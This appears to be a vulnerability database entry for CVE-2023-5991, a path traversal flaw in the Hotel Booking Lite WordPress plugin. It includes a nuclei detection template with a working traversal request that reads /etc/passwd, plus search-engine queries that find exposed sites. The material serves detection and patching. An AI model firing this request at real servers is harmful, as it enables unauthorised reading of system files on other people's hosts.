HexBrain

Browse / CVEs / CVE-2023-5991

CVE-2023-5991· motopress / hotel booking lite· CWE-22

Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion

criticalseverity
9.8CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server

Impact

Unauthenticated attackers can exploit missing validation and authorization checks to download and delete arbitrary files on WordPress servers running Hotel Booking Lite.

Fix

Fixed in 4.8.5

How to confirm it

Send: GET {{BaseURL}}/?filename=../../../../../../etc/passwd&mphb_action=download
Positive when: matches /root:.*:0:0:/ AND contains in header "filename=" and "/etc/passwd" AND status 200

Run it with nuclei: nuclei -id CVE-2023-5991 -u <target>

The full check
id: CVE-2023-5991

info:
  name: Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion
  author: s4e-io
  severity: critical
  description: |
    The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server
  impact: |
    Unauthenticated attackers can exploit missing validation and authorization checks to download and delete arbitrary files on WordPress servers running Hotel Booking Lite.
  remediation: Fixed in 4.8.5
  reference:
    - https://wpscan.com/vulnerability/e9d35e36-1e60-4483-b8b3-5cbf08fcd49e/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5991
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5991
    cwe-id: CWE-22
    epss-score: 0.03313
    epss-percentile: 0.88668
    cpe: cpe:2.3:a:motopress:hotel_booking_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: motopress
    product: hotel_booking_lite
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/motopress-hotel-booking
    fofa-query: body=/wp-content/plugins/motopress-hotel-booking
    publicwww-query: "/wp-content/plugins/motopress-hotel-booking"
  tags: cve,cve2023,lfi,motopress-hotel-booking,wordpress,wp-plugin,wpscan,wp,motopress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?filename=../../../../../../etc/passwd&mphb_action=download"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "filename="
          - "/etc/passwd"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from